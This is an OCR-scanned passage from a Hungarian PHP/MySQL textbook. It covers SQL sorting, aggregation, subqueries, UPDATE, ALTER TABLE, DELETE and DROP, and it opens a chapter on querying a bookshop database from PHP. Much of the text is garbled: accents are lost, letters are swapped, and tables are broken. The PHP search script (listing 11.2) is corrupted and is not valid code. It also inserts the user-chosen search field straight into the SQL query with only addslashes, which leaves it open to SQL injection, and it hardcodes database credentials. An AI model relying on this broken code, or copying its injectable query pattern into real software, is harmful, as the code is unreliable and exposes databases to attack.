trozunk W HERE felttelt, hogy valdi bels sszekapcsolss tegyk.
Egyensszekapcsols

Felrteles kifejezst

jellel hasznlva prosrja az sszekapcsolsban lv klnbz

tblk sorair. SQL-ben ez a WHERE mellkgar tartalmaz sszekapcsols.


Bal sszekapcsols

Tblk kztt prbl sorokat prostani, s a nem passzol sorokar


ki. SQL-ben a

LEFT

JOIN

NULL

rtkekkel tlti

kulcsszavakkal hasznljuk, hinyz rtkek megkeressre

alkalmas. Ugyangy hasznlharunk jobb sszekapcsolst (righr join) is.

Adatok visszakeresse meghatrozott sorrendben


Ha meghatrozott sorrendben szerernnk megjelenteni a lekrdezs ltal visszaadorr sorokat, a

SELECT

urasrs

ORDER BY

mellkgr kell hasznlnunk. Ez a funkci kivlan alkalmas arra, hogy a kimeneret emberi szem ltal jl olvashat formban
lltsuk el.
Az ORDER
az

BY

mellkg a

SELECT

mellkgban felsorolt egy vagy tbb oszlop szerint rendezi a sorokat. Vegyk pldul

albbi lekrdezst:

SELECT nev,
FROM

lakeim

vasarlok

ORDER BY nev;

Ez a lekrdezs bcsorrendben adja vissza az gyfelek nevr s cmt, gy:


+-----------------+--------------------+

l nev

lakeim

+-----------------+ --------------------+

1/47 Haines Avenue

Alan Wong
Julie Smith

l Michelle Arthur

25 Oak Street

357 North Road

+-----------------+--------------------+

Figyeljk meg, hogy a nevek jelen esetben - mivel az angolszsz terleten hasznlt keresztnv-vezetknv formban troljuk ket
- a kereszrnv alapjn vannak rendezve! Ha vezetknv alapjn szerernnk rendezni, kt mezben kellene trolni a neveket.
Az alaprtelmezett rendezs az emelked sorrend (a-tl z-ig vagy numetikusan emelked). Ha szeretnnk, az ASC kulcssz
segtsgvel kifejezetten megadharjuk ezt:
SELECT
FROM

nev,

DESC

SELECT
FROM

lakeim

vasarlok

ORDER BY

173

nev ASC;

(descending, azaz cskken) kulcssz hasznlatval pont fordrott, azaz cskken sorrendbe rendezhernk:

nev,

lakeim

vasarlok

ORDER BY

nev

DESC;

Tbb oszlop szerint is rendezhernk. Az oszlopnevek helyett hasznlharunk aliasokat vagy a sorszmukat is (a 3 pldul
a tbla harmadik oszlopt jelenti).

Adatok csoportostsa s sszestse


Gyakran tudni szerernnk, hogy hny sor rtke esik egy adott halmazba, vagy mi az oszlopban lv rtkek tlaga - pldul
az tlagos rendelsi rtk. A MySQL sszest fuggvnyei j szalglarot tesznek az ilyen pus lekrdezsek lebonyoltsra.
Az sszest fuggvnyeket egsz tblra vagy tbln belli adatcsoportra alkalmazhatjuk. A leggyakoribb ilyen fuggvnyeket
a 10.3 tblzatban lthatjuk.

10

174

10. fejezet

10.3 tblzat: A

10

MySQL sszest fggvnyei

Nv

Lers

AVG(oszlop)

Az adott oszlopban lv rtkek tlaga.

COUNT(elemek)

Ha meghatrozunk egy oszlopot, a fggvny az abban tallhat nem res rtkek szmr adja vissza.
Ha a DI STINCT kulcsszt rakjuk az oszlopnv el, akkor csak az oszlopban tallhat klnbz rt
kek szmt kapjuk vissza. A COUNT( * ) a sorok szmr aclja vissza, s nem vizsglja, hogy van-e kztk
res rtk.

MIN(oszlop)

A megadort oszlopban tallhat legkisebb rtk.

MAX(oszlop)

A megadott oszlopban tallhat legnagyobb rtk.

STD(oszlop)

A megadott oszlopban tallhat rtkek szrsa.

STDDEV(oszlop)

Ugyanaz, mint az STD(oszlop).

SUM(oszlop)

A megadort oszlopban rallhat rtkek sszege.

Nzznk nhny pldt; kezdskppen vizsgljuk meg az imnt emltert krdst! A megrendelsek tlagrtkt a kvetkez
kppen szmthatjuk ki:
SELECT avg(osszeg)
FROM megrendeles;

Kimenetknt az albbihoz hasonlt kapunk:


+-------------+

avg(osszeg)

+-------------+

54.985002

+-------------+

Ha rszletesebb informcira vgyunk, hasznljuk a GROUP

BY

mellkgat! Ez lehetv teszi, hogy csoportonknt - pl

dul gyflszmonknt - tekintsk meg az tlagos rendelsi rtket. Ebbl megtudhatj uk, me!y vsrlink adjk a legnagyobb
rtk rendelseket:
SELECT vasarloid,

AVG(osszeg)

FROM megrendelesek
GROUP BY vasarloid;

Ha a GROUP

BY

mellkgat sszest fggvnyhez hasznljuk, megvltoztatja a fggvny mkdst. Ahelyett, hogy

a tbla sszes rendelsi rtknek tlagt adn, a lekrdezs az egyes vsrlkhoz (pontosabban az egyes gyfl-azonostkhoz)
tartoz tlagos rendelsi sszegrl tjkoztat:
+------------+-------------+

vasarloid

avg(osszeg)

+------------+-------------+

49.990002

74.980003

47.485002

+------------+-------------+

Egy dolgot fontos megemltennk a csoportost s sszest fggvnyek hasznlata kapcsn: ha ANSI SQL-ben sszest
fggvnyt vagy GROUP

BY

mellkgat hasznlunk, a SELECT mellkg csak az sszest fggvny( ek)et s a GROUP

mellkgban megnevezett oszlopokat tartalmazhatja. Ugyangy, ha valamely oszlopot hasznlni kvnjuk a GROUP

BY

BY

mellk

gban, azt a SELECT mellkgban is szerepeltetni kell.


A MySQL kicsivel nagyobb szabadsgot enged irt szmunkra. Tmogatja a

kiterjesztett szintaktikt (extended syntax), amely

lehetv teszi, hogy a SELECT mellkgbl kihagyjuk azokat az elemeket, amelyekre valjban nincs szksgnk.
Az adatok csoportostsa s sszestse mellett arra is lehetsgnk nylik, hogy ellenrizzk egy sszests eredmnyt.
Erre a HAVING mellkgat hasznljuk. Kzvetlenl a GROUP

BY

mellkg utn kell kvetkeznie, s olyan, mint egy WHERE

mellkg, amely csak csoportokra s sszestsekre vonatkozik.


Gondoljuk tovbb az elz pldt! Ha azt szeretnnk kiderteni, hogy melyik vsrl tlagos rendelsi sszege haladja meg
az 50 dollrt, az albbi lekrdezssei tudhatjuk meg ezt:
SELECT vasarloid,
FROM megrendelesek

AVG(osszeg)

Munkavgzs MySQL adatbzisunkkal

175

GROUP BY vasarlaid
HAVING AVG(asszeg)

>

50;

Jegyezzk meg, hogy a HAVING mellkg csoportokra vonatkozik! A fenti lekrdezs az albbi eredmnyt hozza:
+------------+-------------+

l vasarlaid

avg(asszeg)

+------------+ -------------+

l 2

74.980003

+------------+-------------+

Visszakapni kvnt sorok kvlasztsa


A LIMIT a SELECT utasrs egyik olyan mellkga, amely rendkvl j szolglatot tehet webes alkalmazsok esetn. Haszn
latval meghatrozhatjuk, hogy a kimenet me!y sorait kapjuk meg. Ez a mellkg kt paramtert fogad: a kezdsor sorszmt
s a visszaadand sorok szmt.
Az albbi lekrdezs a LIMIT hasznlatt pldzza:
SELECT nev
FROM vasarlak
LIMIT 2,

3;

A kvetkezkppen olvashat ez a lekrdezs:"Vlaszd ki az gyfelek nevt, md a kimenet msodik sortl kezdve adj
vissza hrom sort!" rdemes megjegyezni, hogy a sorok szmozsa nullval kezddik; ez azt jelenti, hogy a kimenet els sora
a nulladik

szm sor lesz.

Ez a funkci igen hasznos pldul akkor, amikor egy vsrl webes termkkatalgust bngsz, s oldalanknt tz rucikket
szeremnk megjelenteni a szmra. Jegyezzk meg azonban, hogy a LIMIT nem rsze az ANSI SQL-nek! MySQL kiterjesz
ts, gy hasznlata esetn SQL kdunk elveszti kompatibilitst az egyb relcis adatbzis-kezel rendszerek tbbsgveL

Egymsba gyazott lekrdezsek hasznlata


Az egymsba gyazott lekrdezs (subquery)- mint magyar megnevezse hen jelzi- msik lekrdezsbe gyazott lekrdezs.
Br az egymsba gyazott lekrdezsek funkcijt gondosan kezelt sszekapcsolsokkal s ideiglenes tblkkal is el lehet rni,
az egymsba gyazott lekrdezsek sok esetben knnyebben olvashatk s rhatk.

Alapszint egymsba gyazott lekrdezsek


Az egymsba gyazott lekrdezsek leggyakoribb hasznlata az, amikor az egyik lekrdezs eredmnyt egy msikval hason
ltjuk ssze. Ha pldul azt a megrendelst szeretnnk megtallni, amelynek rendelsi rtke rnind kzl a legmagasabb volt,
a

kvetkez lekrdezssei jutharnnk el clunkhoz:

SELECT vasarlaid,

asszeg

FROM megrendelesek
WHERE asszeg

(SELECT

MAX(asszeg)

FROM megrendelesek);

Ez a lekrdezs az albbi eredmnyt hozza:


+------------+--------+

l vasarlaid

asszeg

+------------+--------+

l 2

74.98

+------------+--------+

Ebben az esetben az egymsba gyazott lekrdezs egyetlen rtket ad vissza (a maximlis rendelsi sszeget), amit aztn
a kls lekrdezs sszehasonltsban hasznlunk fel. Kivl pld:ija ez az egymsba gyazott lekrdezsek alkalmazsnak,
mivel ezt a konkrt lekrdezst ANSI SQL sszekapcsolsok hasznlarval nem lehet elegnsan reproduklni. Ugyanezt az
eredmnyt adja azonban az albbi sszekapcsolsos lekrdezs is:
SELECT vasarlaid,

asszeg

FROM megrendelesek
ORDER BY asszeg DESC
LIMIT

l;

10

176

10. fejezer

Mivel ez a lekrdezs a LIMIT kulcsszr hasznlja, nem kompatibilis az RDBMS-ek rbbsgvel, de MySQL-ben az egy
msba gyazorr lekrdezses vltozarnl hatkonyabban hajtdik vgre.
Az egyik legfbb oka annak, hogy MySQL-ben sokig nem hasznlharrunk egymsba gyazorr lekrdezseker, az volt, hogy
kevs olyan dolog van, amir nem lehet.nlklk megvalsrani. Technikailag ltrehozharunk egyerlen, szablyos ANSI SQL
lekrdezst, amely ugyanazt eredmnyezi, m egy kevsb hatkony, MAX-CONCAT nev rrkkre pl.
Az egymsba gyazorr lekrdezsek rtkeit minden szablyos sszehasonlr mveleri jellel hasznlhatjuk. Nhny kln
leges mveleri jel is lrezik az egymsba gyazorr lekrdezsekhez, ezeker a mosr kvetkez rszben muraguk be.

Egymsba gyazott lekrdezsek s mveleti jelek


t klnleges mveleri jel hasznlhat az egymsba gyazorr lekrdezsekhez. Ngy kzlk ltalnos egymsba gyazorr
lekrdezsekhez val, az egyik (EXISTS) pedig kizrlag korrellt egymsba gyazorr lekrdezseknl hasznlhat. Ez utbbi
val a kvetkez rszben foglalkozunk majd.
Az ltalnos egymsba gyazorr lekrdezsekhez hasznlhat ngy mveleri jelet a 10.4 tblzat tartalmazza.
10.4 tblzat: Egymsba gyazott Iekrdezsek mveleti jelei
Nv

Pldaszintaktika

Lers

ANY

SELECT cl FROM tl WHERE cl >


ANY (SELECT cl FROM t2);

Visszarrsi rtke akkor igaz, ha az sszehasonlts az egymsba

IN

SELECT cl FROM tl WHERE cl IN


(SELECT cl from t2);

Az ANY-vel egyenrtk.

SOME

SELECT cl FROM tl WHERE cl >

Az ANY aliasa; bizonyos esetekben ez jobban hangzik az - ango

SOME

lul rt - emberi flnek.

(SELECT cl FROM t2);

SELECT cl FROM tl WHERE cl >


ALL (SELECT cl from t2);

ALL

gyazorr lekrdezsben lv brmely sorra igaz.

Visszarrsi rtke akkor igaz, ha az sszehasonlts az egymsba


gyazorr lekrdezsben lv minden sorra igaz.

Az IN kivrelvel a fenti mveleri jelek csak sszehasonlr opertor urn jelenhernek meg. Az IN-ben gymond mr benne
van az sszehasonlr opertora (=).

Korrellt egymsba gyazott lekrdezsek


Korrellt egymsba gyazorr lekrdezsekben kicsir sszeterrebbek a dolgok. Ezeknl a kls lekrdezs elemeir felhasznlhar
juk a bels lekrdezsben. Pldul:
SELECT isbn,

eim

FROM konyvek
WHERE NOT EXISTS
(SELECT * FROM rendelesi tetelek WHERE rendelesl tetelek.isbn=konyvek.isbn);

Ez a lekrdezs egyszerre pldzza a korrellt egymsba gyazott lekrdezsek s az egymsba gyazorr lekrdezsek utols
klnleges mveleri jeinek, az EXI STS-nek a hasznlatr. Azokar a knyveker adja vissza, amiker mg soha nem rendeltek
meg. (Ez ugyanaz az informci, amihez korbban bal sszekapcsols hasznlarval jurorrunk.) Figyeljk meg, hogy a bels
lekrdezs csak a FROM listban tartalmazza a rendelesi_tetelek tblt, de a konyvek. isbn oszlopra hivatkozik! Ms
szavakkal ezt azt jelenti, hogy a bels lekrdezs a klsben lv adatra hivatkozik. Ez egybknt a korrellt egymsba gyazorr
lekrdezs defincija: olyan bels sorokar keresnk, amelyek megegyeznek (vagy - mint jelen esetben - nem egyeznek meg)
a kls sorokkal.
Az EXISTS opertor visszatrsi rtke akkor igaz, ha vannak egyez sorok az egymsba gyazorr lekrdezsben. Ebbl
kvetkezik, hogy a NOT EXISTS visszatrsi rtke pedig akkor igaz, ha nincsenek egyez sorok az egymsba gyazorr lekr
dezsben.

Soros egymsba gyazott lekrdezsek


Az eddig ltott, egymsba gyazorr lekrdezsek egyetlen rtket adtak vissza, br sok esetben ez az rtk true vagy
fal se

volt (gy volt ez az elz, az EXI STS mveleri jelet hasznl pldban is). A soros egymsba gyazott lekrde

zsek (row subquery) reljes sort adnak vissza, amit azutn sszehasonltharunk a kls lekrdezsben szerepl ms teljes
sorokkal. Ezt a mdszert jellemzen arra hasznljuk, hogy olyan sorokat keressnk valamely rblban, amelyek egy msik-

Munkavgzs MySQL adatbzisunkkal

177

ban is megtallhatk. A knyves adatbzisban nem tudunk erre j pldt mutatni, de az ltalnos szintaktika az albbihoz
hasonl:

10

SELECT cl, c2, c3


FROM tl
WHERE

(cl, c2, c3) IN

(SELECT cl, c2, c3 FROM t2);

Egymsba gyazott lekrdezs hasznlata ideiglenes tblaknt


Egymsba gyazott lekrdezst hasznlhatunk egy kls lekrdezs FROM mellkgban. Ezzel a mdszerrel hatkonyan
krdezhetjk le egy egymsba gyazott lekrdezs kimenett, gy, mintha ideiglenes tblaknt kezelnnk azt. Legegyszerbb
formjban ez valahogy gy nz ki:
SELECT *
(SELECT

FROM
vasarloid, nev FROM vasarlok WHERE varos='Box Hill')

AS box_hill_customers;

Lthatjuk, hogy az egymsba gyazott lekrdezs itt a FROM mellkgba kerlt. Rgtn az egymsba gyazott lekrdezs
zr zrjele utn aliast kell adnunk az egymsba gyazott lekrdezs eredmnynek. Ezt kveten a kls lekrdezsben
ugyangy kezdhetjk, mint brmilyen ms tblt.

Adatbzisban lv rekordok frisstse


Tl azon, hogy adatokat keresnk vissza az adatbzisokbl, az is gyakran elfordul, hogy mdostani szeretnnk azokat. Meg
akarjuk pldul emelni az adatbzisban szerepl knyvek rt. Az UPDATE utasts ad erre lehetsget.
Az UPDATE utasts ltalnos formja a kvetkez:
UPDATE

[LOW_PRIORITY]

[IGNORE]

tabla neve

SET oszlopl=kifejezesl,oszlop2=kifejezes2,...
[WHERE feltetelJ
[ORDER BY rendezesi_feltetel]
[LIMIT szam]

A dolog lnyege, hogy a t abla_neve tblt frisstjk gy, hogy a megnevezett oszlopokhoz nem konkrt rtket, hanem
mveletet runk. A mvelet elvgzsnek eredmnye kerl a mezbe rtkknt (lsd lejjebb a pldt!). WHERE mellkg
hasznlatval adott sorokra korltozhatjuk az UPDATE utasts hatst, LIMIT mellkggal pedig az rintett sorok szmt
korltozhatjuk le; ha pldul csak az els tz sort kvnjuk frissteni, elszr is valamilyen sorrendbe kell rakni ket. A LOW_
PRIORITY s az IGNORE, amennyiben megadjuk ket, ugyangy mkdnek, mint az INSERT utasts esetn.

Nzznk nhny pldt! Ha 10 szzalkkal szeretnnk emelni minden knyv rt, akkor WHERE mellkg nlkl hasznl
hatjuk az UPDATE utastst:
UPDATE konyvek
SET ar

ar*l.l;

Ha viszont csak egyetlen sort szeretnnk mdostani, pldul egy vsrl lakcmt frisstennk, a kvetkezkppen tehetjk meg:
UPDATE vasarlok
SET lakeim

'250 lsens Road'

WHERE vasarloid

4;

Tblk megvltoztatsa ltrehozsuk utn


A sorok frisstsn tlmenen megeshet, hogy adatbzisunk tblinak struktrjt kell mdostanunk. Erre az igen rugalmas
ALTER TAB LE utastst hasznlhatj uk. Ennek ltalnos formja a kvetkez:
ALTER TABLE

[IGNORE]

tabla_neve valtoztatas

[,

valtoztatas

rdemes megjegyezni, hogy ANSI SQL-ben ALTER TABLE utastsonknt csak egy mdostst hajthatunk vgre, de
a MySQL tetszleges szm vltoztatst engedlyez. Brmelyik mdostsi mellkgat hasznlhatjuk (egyszerre tbbet is),
hogy klnbz szempontok szerint mdostsuk a tblt.
Amennyiben megadjuk az IGNORE mellkgat, s olyan mdostst prblunk meg vgrehajtani, amely dupliklt elsdleges
kulcsokat eredmnyez, akkor az els bekerl a mdostott tblzatba, s a tbbi tldik. Ha nem adjuk meg (ez az alaprtel
mezett md), akkor a mdosts nem kvetkezik be, s a tbla visszatr a mdostsi ksrlet eltti llapotba.
Az ezzel az utastssal vgrehajthat, klnbz tpus mdostsokat a 10.5 tblzatban lthatjuk.

178

10. fejezet

10.5 tblzat: Vltoztatsi lehetsgek az ALTER TABLE utastssal

10

Lers"

Szintaktika
ADD

[COLUMN]

[FIRST

oszlop_leiras

AFTER oszlop ]

j oszlopot szr be a megadott helyre (ha nincs hely meghatrozva, akkor

az

oszlop a tbla vgre kerl). Fontos, hogy az oszlop_leiras-nl- ppgy,


mint a CREATE utasts esetben- a nevet s tpust kell megadnunk.

ADD [COLUMN] (oszlop_leiras,


oszlop_leiras, ...)

Egy vagy tbb j oszlopot szr be a tbla vghez.

ADD INDEX

Indexet ad a tbla megadott oszlophoz vagy oszlopaihoz.

[index]

(oszlop, ... )
ADD [CONSTRAINT [szimbolum]]
PRIMARY KEY (oszlop, ... )

A megadott oszlopot vagy oszlopokat a tbla elsdleges kulcsv teszi.


A CONSTRAl NT utasts kls kulcsot hasznl tblkhoz val. Tovbbi rsz
letekrt lsd a Halad MySQL-programozs cm 13. fejezetet!

ADD UNIQUE

[CONSTRAINT

vbbi rszletekrt lsd a 13. fejezetet!

(oszlop, ... )
ADD

[CONSTRAINT

FOREIGN KEY
oszlop, ...)
definicioja]

[szimbolum]]

[index] (index
[hivatkozas

ALTER [COLUMN] oszlop {SET


DEFAULT ertek l DROP DEFAULT)
CHANGE

Egyedi indexet ad a tbla meghatrozott oszlophoz vagy oszlopaihoz.


A CONSTRAINT jells kls kulcsokat hasznl InnoDB tblkhoz val. To

[szimbolum]] index]

[COLUMN] oszlop uj

oszlop leiras

Kls kulcsot ad InnoDB tblhoz. Tovbbi rszletekrt lsd a 13. fejezetet!

Alaprtelmezett rtket ad egy adott oszlopnak, vagy eltvoltja azt.


gy mdostja az oszlop ot, hogy az a megadott lerst kapja. Jegyezzk
-

meg, hogy ez a szintaktika alkalmas az oszlopnevek megvltoztatsra, mivel


az oszlop _leiras tartalmazza az oszlopneved

MODIFY

[COLUMN] oszlop_leiras

A CHANGE-hez hasonl. Oszloptpusok, nem pedig oszlopnevek megvltozta


tsra alkalmas.

DROP

[COLUMN] oszlop

Trli a megnevezett oszlopot.

DROP PRIMARY KEY

Trli az elsdleges kulcsot (de az oszlopot nem).

DROP INDEX index

Trli a megnevezett indexet.

DROP FOREIGN KEY kulcs

Trli a kls kulcsot (de az oszlopot nem).

DISABLE KEYS

Kikapcsolja az indexfrisstst.

ENABLE KEYS
RENAME

[AS]

Bekapcsolja az indexfrisstst.
uj

tabla_nev

ORDER BY oszlop_nev

tnevezi a tblt.
jra ltrehozza a tblt gy, hogy annak sorai adott oszlop szerint vannak
rendezve. (Figyelem: ha elkezdjk mdostani a tblt, a sorok nem tartjk
a korbbi rendezst!)

CONVERT TO CHARACTER SET cs


COLLATE c
[DEFAULT]

A meghatrozott karakterkszletre (character set- cs) s egybevetsre


(collation) alaktja az sszes, szveg alap oszlopot.

CHARACTER SET cs

COLLATE c
DISCARD TABLESPACE

Belltja az alaprtelmezerr karakterkszletet s egybevetst.


Trli egy InnoDB tbla mgtres tblatrfjljt. (Az InnoDB-rl tovbbi in
formcirt lsd a 13. fejezetet!)

IMPORT TABLESPACE

jra ltrehozza egy InnoDB tbla mgttes tblatrfjljt. (Az InnoDB-rl


tovbbi informcirt lsd a 13. fejezetet!)

tabla tulajdonsaga1

jra bellthatjuk a tbla tulajdonsgait. A CREATE TABLE utastssal meg


egyez szintaktikt hasznl.

Nzznk meg nhnyat az ALTER TABLE utasts gyakoribb felhasznlsi lehetsgei kzl!
Knnyen elfordulhat, hogy egy id utn rjvnk: egy adott oszlop nem "elg nagy" az ltala troland adatokhoz.
Avasarlok tblban pldul korbban 50 karakter hossz nevek trolst engedlyeztk. Az adatok begyjtse utn sz
revesszk, hogy egyes nevek tl hosszak, gy csonkolva letrek. gy segthetnk ezen a problmn, ha mdostjuk az oszlop
adattpust, hogy 70 karakter hossz legyen:
ALTER TABLE vasarlok
MODIFY nev CHAR(70)

NOT NULL;

Munkavgzs MySQL adatbzisunkkal

179

Szintn gyakran elfordul, hogy oszlopot kell a tblzathoz adnunk. Kpzeljk el, hogy egy j, helyi rtkestsi adt vezet
nek be, amit a Book-O-Ramnak hozz kell adni a rendels vgsszeghez, de kln kell nyilvntartania! A kvetkezkppen

10

adhatjuk az ado oszlopot a megrendelesek tblhoz:


ALTER TABLE megrendelesek
ADD ado FLOAT(6,2)

AFTER osszeg;

Ugyangy megeshet az is, hogy feleslegess vlik egy oszlop. A kvetkezkppen trlhetjk:
ALTER TABLE megrendelesek
DROP ado;

Rekordok trlse adatbzisbl


Az adatbzisbl sorokat trlni egyszer dolog. A DELETE utastssal tehetjk meg, amelynek ltalnos alakja a kvetkez:
DELETE

[LOW_PRIORITY]

[W HERE

felte tel]

[QUICK]

[IGNORE]

FROM tabla

[ORDER BY oszlopok_rendezese]
[LIMIT szam]

Ha csak ezt rjuk: DELETE FROM tabla; a tbla minden sora trldik, gyhogy csak vatosan bnjunk egy ilyen utasts
sal! ltalban csak adott sorokat kvnunk trlni, ezeket a W HERE mellkgban hatrozhatjuk meg. Pldnknl maradva, ha
valamelyik knyv mr nem kaphat, vagy valamelyik vsrl mr hossz ideje nem rendelt semmit sem, s szetetnnk egy kicsit
rendet rakni az adatbzisban:
DELETE FROM vasarlok
WHERE vasarloid=S;

A LIMIT mellkgban korltozhatjuk a tnylegesen trlend sorok maximlis szmt. Az ORDER BY t jellemzen
-

a LIMIT sszefggsben hasznljuk.


A LOW_PRIORITY s az IGNORE pontosan gy mkdik, mint a korbban ltott utastsoknl. A QUICK gyorsabb m
veletet eredmnyezhet MyiSAM tblk esetben.

Tblk trlse
Esetenknt egy egsz tblrl szecetnnk megszabadulni. A DROP TABLE utastssal rhetjk ezt el. A folyamat nagyon egy
szer, az utasts pedig a kvetkezkppen nz ki:
DROP TABLE tabla;

Az utasts a tbla minden sort s magt a tblt is trli, ezrt fokozott gondossggal jrjunk el hasznlata esetn!

Teljes adatbzis trlse


Akr tovbb is lphetnk, s egy teljes adarbzist megszntethetnk a DROP DATABASE utastssal, amely a kvetkezkp
pen nz ki: DROP DATABASE adatbazis;
Ez minden sort, minden tblt, minden indexet s magt

az

adarbzist is trli, gy mr mondanunk sem kell, hogy hasznla

rakor nagyon krltekinten jrjunk el!

Tovbbi olvasnival
Fejezetnkben a MySQL adatbzisokkal folytatott munka sorn nap mint nap hasznlt SQL utasrsokat tekintettk t.
A kvetkez kt fejezerbl megtudhatjuk, hogyan kapcsoljuk ssze a MySQL-t s a PHP-r gy, hogy internetrl hozzfrjnk
adarbzisainkhoz. Egyes halad MySQL-es technikkat is megismerhetnk majd.
Ha szeretnnk tbbet rudni

az

SQL-rl- s egy kis knnyed szrakozsra vgyunk-, brmikor fellapozhatjuk a http:/ l

www.ansi.org/ oldalon elrhet ANSI SQL szabvnyt.


Az ANSI SQL MySQL-fle kibvtsrl a MySQL oldaln (htcp:/ /www.mysql.com) tjkozdhatunk.

Hogyan tovbb
A MySQL adatbzis elrse a webrl PHP-vel cm ll. fejezetben ttekintjtik, hogyan teherjk a Book-O-Rama adarbzist
internerrl elrhetv.

ll
MySQL adatbzis elrse
a webrl PHP vel
...

Amikor a korbbiakban PHP-vel dolgoztunk, egyszer fjlokban troltuk az adatokat, illetve ezekbl az llomnyokbl ke
restk vissza azokat. Az Adatok trolsa s lekrse cm 2. fejezetben, ahol dolgoztunk mr ilyen fjllal, megemltettk, hogy
a relcis adatbzisrendszerek webes alkalmazs esetn knnyebb, biztonsgosabb s hatkonyabb reszik a trolsi s visz
szakeressi feladaraink jelents rszr. Mosr, hogy MySQL-ben dolgozva mr ltrehoztuk adarbzisunkat, kszen llunk arra,
hogy webes fellettel ( weboldallal) kssk ssze.
Ebben a fejezeeben bemutatjuk, hogyan rhetjk el a Book-O-Rama adarbzist PHP segtsgvel a webrl. Megcanuljuk, ho
gyan olvassunk adatokat adatbzisbl, s hogyan rjunk bele, illetve hogyan szrjk ki a potencilisan problms adatok bevitelt.
A fejezetben az albbi fbb tmakrkkel foglalkozunk:
Hogyan mkdnek a webes adatbzis-archicektrk
Adatbzis lekrdezse a webrl egyszer lpsekkel
Kapcsolat belltsa
Informciszerzs az elrhet adatbzisokrl
A hasznlni kvnt adatbzis kivlasztsa
Az adarbzis lekrdezse
A lekrdezs eredmnyeinek lekrse
Kapcsolat boncsa az adatbzissal
j informci felvitele az adatbzisba
Elfordtort utastsok hasznlata
Egyb PHP adacbzis-illesztsek hasznlata
lcalnos adatbzis-illeszts hasznlata: PEAR MDB2

Hogyan mkdnek a webes adatbzisarchitektrk?


A Webes adatbzis megtervezse cm 8. fejezeeben vzoltuk a webes adatbzis-architektrk mkdsc. Emlkeztetskppen
fussuk r mg egyszer az ort emltert lpseker:
l.
A felhasznl bngszje HTTP krst intz egy adott weboldalhoz. Pldul a felhasznl a Book-O-Rama ol
daln lv rlap segtsgvel rkeres a Michael Morgan ltal rt sszes knyvre. A keressi eredmnyek oldal neve
eredmenyek. php.
2. A webes kiszolgl megkapja az eredmenyek. php-re vonatkoz krst, visszakeresi a fjlt, majd feldolgozs cljbl
tadja a PHP morornak.
3.
A PHP motor elkezdi vizsglni a kdot, amely az adarbzishoz csarlakozsra s a lekrdezs vgrehajrsra (a knyvek
keressre) irnyul parancsot tartalmaz. A PHP megnyitja a kapcsolacor a MySQL kiszolglhoz, s elkldi a megfe
lel lekrdezse.
4.
A MySQL kiszolgl megkapja az adatbzis-lekrdezse, feldolgozza, s visszakldi az eredmnyeker - a knyvek lis
r;ijt- a PHP motornak.
5.
A PHP moror befejezi a kd furrarsc, ami ltalban a lekrdezs eredmnyeinek HTML-beli formzst is magban
foglalja. Ezt kveten az eredmnyl kaport HTML-r visszakldi a webes kiszolglnak.
6.
A webes kiszolgl visszaadja a HTML-t a bngsznek, ahol a felhasznl lthatja a kre knyvek list;ijt.
Meglv MySQL adatbzis bireokban megrhatjuk az elz lpseker vgnhajt PHP kdot. Kezdjk a keressi rlappal l
Ezen egyszer HTML rlap kdjr a 11.1 pldakd tartalmazza.

182

ll. fejezet

11.1 pldakd: kereses. html-A Book-O-Rama adatbzisnak keressi oldala


<html>
<head>
<title>Keress a Book-O-Rama katalgusban</title>
</head>
<body>
<hl> Keress a Book-O-Rama katalgusban</hl>

ll

<form action="eredmenyek.php" method="post">


Vlassza ki a keress tpust!:<br />
<select name="keresesi_tipus">
<option value="szerzo">Szerz6</option>
<option value="cim">Cm</option>
<option value="isbn">ISBN</option>
</select>
<br />
rja be a keressi kifejezst' :<br />
<input name="keresesi kfejezes" type=""text" size="40"/>
<br />
<input type="submit" name="kuldes" value="Keress"/>
</form>
</body>
</html>

Ez a HTML rlap viszonylag magtl rtetd. A HTML kd kimenere a 11.1 brn lthat.

Keress a Book-O-Rama katalgusban


\'........ ...

;.,;,.el.!!!.-----

-----------J

11.1 bra: Teljesen ltalnos keressi rlap, ami cm, szerz s ISBN-kd szerinti keresst tesz lehetv.

A"Keress" gombra kartintskor meghvott kd az eredmenyek. php fjlban tallhat. Ezt a kdot a 11.2 pldakd tartal
mazza. A fejezet sorn azt fogjuk megtrgyalni, hogy mir csinl, s hogyan mkdik

ez

a kd.

11.2 pldakd: eredmenyek. php-Ez a kd keresi vissza a MySQL adatbzisbl a keressi eredmnyeket, majdJormzza azo

kat a megjelentshez
<html>
<head>
<title>Book-0-Rama keressi eredmnyek</title>
</head>
<body>
<hl>Book-0-Rama keressi eredmnyek</hl>
<?php

ll rvid vltoznevek ltrehozsa


$keresesi tipus=$ POST['keresesi tipus');
$keresesi kifejezes=trim($_POST['keresesi kifejezes'));

if (1$keresesi tipus

l l

!$keresesi kfejezes)

echo 'Nem adta meg a keressi feltteleket. Krjk,


exit;

adja meg ezeket!';

MySQL adatbzis elrse a webrl PHP-vel

183

if (!get_magic_quotes_gpc()) {
$keresesi_tipus = addslashes($keresesi_tipus);
addslashes($keresesi kifejezes);

$keresesi kifejezes

@ $adatbazis = new mysqli('localhost',

'beokorama',

'bookorama123',

'konyvek');

ll

if (mysqli_connect_errno())
echo 'Hiba:

Nem sikerlt kapcsoldni az adatbzishoz. Krjk,

prblkezzon ksbb.';

exit;

$lekerdezes

"SELECT

FROM konyvek WHERE ".$keresesi_tipus

." LIKE '%".$keresesi_kifejezes."%'";


$talalat = $adatbazis->query($lekerdezes);

$talalatok_szama

$talalat->num_rows;

echo "<p>A keressi feltteleknek megfelel knyvek szma:

for ($i=O;

$i <$talalatok_szama;

".$talalatok_szama."</p>";

$i++)

$sor = $talalat->fetch_assoc();
echo "<p><strong>".($i+l).". Cim:

";

echo htmlspecialchars(stripslashes($sor['cim']));
echo "</strong><br />Szerz:

";

echo stripslashes($sor['szerzo']);
echo "<br />ISBN:

";

echo stripslashes($sor['isbn']);
echo "<br />r:

";

echo stripslashes($sor['ar']);
echo "</p>";

$talalat->free();
$adatbazis->close();

?>

</body>
</html>

Figyeljk meg, hogy a kd megengedi a felhasznlnak a MySQL dzskerkarakterek, a % s az_ {alulvons) hasznlatr. Ez
hasznos lehet a felhasznlnak, de vdkarakterrel kell elltni ezeket a klnleges karaktereket, hogy ne okozhassanak prebl
mt alkalmazsunknak. A 11.2 bra a kd hasznlatval vgrehajtott keress eredmnyt illusztrlja.

l'!

Book-0-Rama keressi eredmnyek


A""'-".......,.-.wot6C..-..I
LC.:Jal-
s-t6Maot158:i0-G"l-l169T-S
A<; )..l 99'

11.2 bra: Javval foglalkoz knyvek keresse az adatbzisban az eredmenyek.p hp kddal;

a bngszablak a keressi eredmnyt mutaga.

184

